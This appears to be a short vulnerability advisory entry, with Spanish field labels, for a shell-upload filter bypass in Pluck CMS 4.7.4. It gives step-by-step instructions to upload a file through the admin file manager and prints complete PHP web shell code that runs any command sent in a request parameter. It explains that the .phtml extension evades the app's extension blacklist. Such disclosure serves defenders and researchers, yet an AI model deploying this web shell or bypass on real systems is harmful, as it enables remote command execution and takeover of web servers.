| Título | Pluck CMS 4.7.4 Shell Upload Filter Bypass |
|---|
| Descripción | From the admin interface choose:
Pages -> Manage Files
Create the following simple command shell and name it simple-backdoor.phtml
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
The .phtml (executable extension) defeats the “blacklist” approach taken in this app in regards to allowable file extensions. Which is searching for ‘php’ as the last 3 characters i.e the extension. PHTML along w/ php2..php3 and so on defeated this filter. You get a shell in the context of the web server. |
